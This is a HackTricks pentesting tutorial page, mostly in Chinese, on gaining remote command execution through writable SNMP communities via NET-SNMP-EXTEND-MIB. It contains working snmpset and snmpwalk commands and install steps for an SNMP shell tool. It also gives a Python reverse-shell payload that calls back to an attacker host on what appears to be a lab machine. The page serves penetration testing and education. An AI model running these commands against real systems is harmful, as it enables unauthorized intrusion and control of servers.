hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md
2023-08-03 19:12:22 +00:00

6.1 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

这篇文章的内容来自https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/

SNMP有时会被设备或服务器的管理员忽视因为它处于默认配置状态。在Linux操作系统上具有写权限rwcommunity的SNMP社区可以被滥用让攻击者在服务器上执行命令。

扩展服务

虽然您无法修改已配置在snmpd.conf中的现有条目但可以通过SNMP添加其他命令因为MIB定义中的“MAX-ACCESS”权限设置为“read-create”。

基本上,添加新命令的方法是将额外的行追加到“nsExtendObjects”表中。

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

注入一个命令以在SNMP服务上运行。NET-SNMP-EXTEND-MIB要求您始终提供可执行文件的绝对路径。被调用的二进制文件/脚本也必须存在并且可执行。

通过使用snmpwalk枚举来执行我们注入到SNMP的命令

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

显示命令为/bin/echo。

当命令被读取时,将执行该命令。run-on-read()

在我们的snmpwalk读取期间执行了命令**/bin/echo "hello rio is here"**

从Net-SNMP Extend获取Shell

在本节中我将讨论如何获得服务器Shell以控制服务器。

您可以使用由mxrch开发的Python脚本可以从https://github.com/mxrch/snmp-shell.git下载。

您可以安装运行此脚本所需的先决条件:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

创建反向Shell

您还可以通过将以下命令注入到SNMP中手动创建反向Shell。

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

运行snmpwalk触发命令执行

我们的netcat接收到来自受害者的反向shell连接使我们能够控制受害者机器

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥